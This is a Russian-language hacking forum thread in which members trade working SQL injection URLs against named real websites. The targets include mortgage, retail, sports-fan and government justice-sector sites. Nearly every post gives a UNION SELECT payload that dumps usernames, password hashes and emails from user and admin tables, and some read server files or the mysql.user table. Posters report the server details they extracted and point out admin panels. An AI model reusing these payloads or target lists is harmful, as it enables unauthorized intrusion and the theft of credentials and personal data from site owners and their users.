SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Сайт: http://www.mortgagebrokers.com
    ТИЦ: 0
    PR: 4
    Code:
    http://www.mortgagebrokers.com/mbcom/txt/cms.php?id=-46+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,users_name,0x3a,password,0x3a,email),6,7,8+from+lime_users--+  
    
    http://www.mortgagebrokers.com/mbcom/txt/cms.php?id=-46+union+select+1,2,3,now(),group_concat(0x0b,email),6,7,8+from+filogix_brokers--+  
    
    http://www.mortgagebrokers.com/mbcom/txt/cms.php?id=-46+union+select+1,2,3,now(),group_concat(0x0b,loginname,0x3a,password,0x3a,email),6,7,8+from+mb_minvis_user--+  
    
    http://www.mortgagebrokers.com/mbcom/txt/cms.php?id=-46+union+select+1,2,3,now(),group_concat(0x0b,lastname,0x3a,password,0x3a,email),6,7,8+from+mb_realtor--+  
    
    http://www.mortgagebrokers.com/mbcom/txt/cms.php?id=-46+union+select+1,2,3,now(),group_concat(0x0b,lastname,0x3a,password,0x3a,email),6,7,8+from+pm_users--+
    version - 5.0.27
    user - alexhad@localhost
    database - alexhad
    os - redhat-linux-gnu

    ==========================================

    Сайт: http://www.thelodge-scotland.com
    ТИЦ: 0
    PR: 3
    Code:
    http://www.thelodge-scotland.com/cms.php?id=32+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5--+
    version - 4.1.22-standard
    user - thelodge_lodge@localhost
    database - thelodge_test
    os - pc-linux-gnu

    ==========================================

    Сайт: http://www.doctorrbrand.com
    ТИЦ: 0
    PR: 0
    Code:
    http://www.doctorrbrand.com/cms.php?id=-8+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,username,0x3a,password),4,5+from+admininfo--+  
    
    http://www.doctorrbrand.com/cms.php?id=-8+union+select+1,now(),group_concat(0x0b,user_name,0x3a,password,0x3a,email),4,5+from+user--+  
    
    http://www.doctorrbrand.com/cms.php?id=-8+union+select+1,now(),group_concat(0x0b,email),4,5+from+newsletter_subscribers--+
    version - 5.0.37-log
    user - mydoctor@localhost
    database - dronline
    os - portbld-freebsd6.1
     
  2. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    wow дрочерам посвящается

    or
    or
    blind-sqlinj


    PHP:
    table:users
      
    ---> column imageId
      
    ---> column nameUrl
      
    ---> column bio
      
    ---> column beta
      
    ---> column buddyIcon
      
    ---> column sns
      
    ---> column banned
      
    ---> column admin
      
    ---> column date
      
    ---> column name
      
    ---> column : private
      ---> 
    column email
      
    ---> column newUser
      
    ---> column guid
      
    ---> column betaSigned
      
    ---> column userId
      
    ---> column entryDate
      
    ---> column status
      
    ---> column facebookId 
    Спасибо Pashkela и Jokester! :)
     
    #12162 $n@ke, 28 May 2010
    Last edited: 28 May 2010
    5 people like this.
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    вот и собственно сайт :)

    http://www.baytnet.com/dynamic.php?id=2/**/and/**/1=0/**//*!union*/+/*!select*/+1,2,aes_decrypt(aes_encrypt(concat(Email,0x3a,Password),1),1),4+from+/*!baytnet_baytdb.member*/

    user() : baytnet_baytuse@localhost

    version() : 5.0.90-community

    database() : baytnet_baytdb

    datadir : /var/lib/mysql/

    OS : pc-linux-gnu (@@VeRsIon_cOmPile_Os :) )

    PR-3
     
    _________________________
    3 people like this.
  4. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    user:version:database = roaauser@localhost:5.0.45-log:roaa

    PR 6

    403 http://www.romarch.org/admin/ :(

    Code:
    http://www.romarch.org/pags.php?id=-18+union+select+1,group_concat(user,0x3a,pass),3,4+FROM+users--

    +


    Коммунисты
    Code:
    http://magkprf.ru/news.php?id=-615+union+select+1,2,3,4,group_concat(COLUMN_NAME),6,7+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273--
     
    #12164 qq6ka, 29 May 2010
    Last edited: 29 May 2010
  5. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.clubmayak.ru/press.php?code=-4+%75%6e%69%6f%6e+%73%65%6c%65%63%74+concat_ws(@@version,user(),database(),@@version_compile_os),2,3,4,5,6+--
     
    1 person likes this.
  6. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    е-магазин

    http://www.fashionbootsite.com/products.php?id=-2+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+FROM+admininfo--
     
    1 person likes this.
  7. lzr

    lzr Member

    Joined:
    1 Jan 2009
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Code:
    http://www.readplus.com.au/blog_detail.php?id=-1+union+select+1,concat_ws(0x3a3a3a,userid,password,email,superuser),3,4,5,6,7,8,9,10+from+readplus_login--
    PR 5
     
  8. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    провайдер какой-то

    Code:
    http://ivseti.ru/news_view.php?id=408'+and+1=0+union+select+version(),2+--+
    -----
    Code:
    http://urokiverstki.ru/news_view.php?id=-15'+union+select+1,2,version(),4,5,6+--+
     
    2 people like this.
  9. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Транс-Альянс
    Code:
    http://trals.ru/1.php?id=27+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7+--+
    VIP отели какие то)
    Code:
    http://www.vipexch.com/front/en/Leisure-1.php?id=34+AND+1=0+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
    Code:
    http://www.rob-ban.com/guestbook/admin.php?id=1+'+UNION+SELECT+version(),2,3,4,5,6,7,8,9+--+
     
    #12169 ZARO, 29 May 2010
    Last edited: 29 May 2010
  10. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    инъекция с читалкой/писалкой файлов.

    user = root@localhost

    Code:
    http://macrobiotics.ca/products.php?id=-25+UNION+SELECT+1,load_file('/etc/httpd/conf/httpd.conf')--
     
    2 people like this.
  11. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.klad.com.ua/products.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
    
    version: 5.1.33-log
    user: klad@localhost
    database: klad
    тИЦ: 10
    PR: 2

    Code:
    http://germanfirms.ru/products.php?id=63+union+select+1+--+
    version: 4.1.22-standard-log
    user: db156426_4@local2
    database: db156426_4
    тИЦ: 30
    PR: 4

    Code:
    http://www.phas.ru/products.php?id=-64+union+select+1,2,3,4,5+--+
    version: 4.1.22-STANDARD-LOG
    user: PHASRU_AYRAT@LOCALHOST
    database: PHASRU_PRODUCT
    тИЦ: 20
    PR: 0

    Code:
    http://www.luxpolymer.ru/products.php?id=-22+union+select+1+--+
    version: 4.0.25-standard
    user: [email protected]
    database: luxpoly_mer
    тИЦ: 20
    PR: 1
     
    1 person likes this.
  12. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    ACCESS

    http://www.aztv.az/xbdx/x-1.asp?id=-9949+union+select+1,2,3,4,5,6,7,8,9+from+"table"&il=3000

    PR-6
     
    _________________________
    2 people like this.
  13. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    The Justice Law and Order Sector (JLOS)

    Ministry of Justice and Constitutional affairs
    Ministry of Internal affairs
    The Judiciary
    Uganda Prisons
    Uganda Police Force
    The Director of Public rosecutions


    hттp://www.jlos.go.ug/page.php?pg=objectives+union+all+select+1,version(),3,4,5,6,7,8,9,user(),11+limit+1,1--

    4.0.27-standard
    jlos_admin@localhost
     
    1 person likes this.
  14. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    Админка не найдена.
    Code:
    http://www.chairsandstools.com.au/products.php?id=-1+union+select+1,concat(cmslogin,0x3a,cmspwd),3,4+FROM+tbl_cms--

    Магазин. Админка на 加新零件类 (китайский, кажется)
    Code:
    http://www.racemotorparts.com/products.php?id=-722+union+select+1,2,3,concat_ws(0x3a,username,password,LoginString),5,6,7,8,9,10,11,12,13,14,15,16,17+FROM+admins--

    Магазин.
    Code:
    http://www.liteaid.com/products.php?id=-249+union+select+1,2,concat_ws(0x3a,AdminName,AdminEmail,AdminID,Username,Password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+mlm_administrator+LIMIT+0,1--
     
  15. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.manipulas.ru/products/prodzoom.php?id=-4+and+1=2+union+select+1,2,concat_ws(version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10+--

    version : 5.0.67-Max
    user : manipulas@localhost
    database : manipulas_ru
    os : suse-linux-gnu

    http://www.manipulas.ru/products/prodzoom.php?id=-4+and+1=2+union+select+1,2,group_concat(iname,char(58),ilogin,char(58),ipassword+SEPARATOR+0x0b),4,5,6,7,8,9,10+from+users_items+--

    а вот и админка
    http://www.manipulas.ru/siteadmin/
     
  16. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    Читалка
    Code:
    http://www.thelearningedge.com.au/products.php?id=-26+union+select+1,2,3,4,load_file('/etc/httpd/conf/httpd.conf')--
    Пользователи (5d2e19393cc5ef67 = password)
    Code:
    http://www.thelearningedge.com.au/products.php?id=-26+union+select+1,2,3,4,concat_ws(0x3a,username,userpassword)+FROM+ADMIN--
    
    и
    
    http://www.thelearningedge.com.au/products.php?id=-26+union+select+1,2,3,4,concat_ws(0x3a,Host,User,Password)+FROM+mysql.user--
     
    1 person likes this.
  17. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    pr5
     
    2 people like this.
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.morozilnik.ru/eng/addinfo/index.php?info=-39+and+1=2+union+select+1,concat_ws(@@version,user(),database(),@@version_compile_os),3+--

    version : 5.0.32-Debian_7etch6-log
    user : morozini@localhost
    database : morozini
    os : pc-linux-gnu

    http://www.morozilnik.ru/eng/addinfo/index.php?info=-39+and+1=2+union+select+1,group_concat(uname,0x3a,upass+SEPARATOR+0x0b),3+from+users--
     
  19. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    официальный сайт болельщиков СПАРТАКА http://spartak.msk.ru/

    Code:
    http://spartak.msk.ru/index.sema?a=articles&pid=-2+union+all+select+concat_ws(char(58),version(),user(),database(),@@version_compile_os),2,3--
    version : 5.0.84-log
    user : w_spart@localhost
    database : w_spart_sk
    os : pc-linux-gnu
     
  20. LanSilot

    LanSilot New Member

    Joined:
    10 Apr 2010
    Messages:
    20
    Likes Received:
    4
    Reputations:
    5
    Code:
    http://ecadigitallibrary.com/conference.php?cid=-5+union+all+select+1,2,concat_ws(user(),database(),@@version_compile_os),4,5,6,7,8,9,10--
    version : 5.0.77-log
    user : hearst_ecahearst_eca@localhost
    database : hearst_ecahearst_eca
    os : redhat-linux-gnu
     
    1 person likes this.
Thread Status:
Not open for further replies.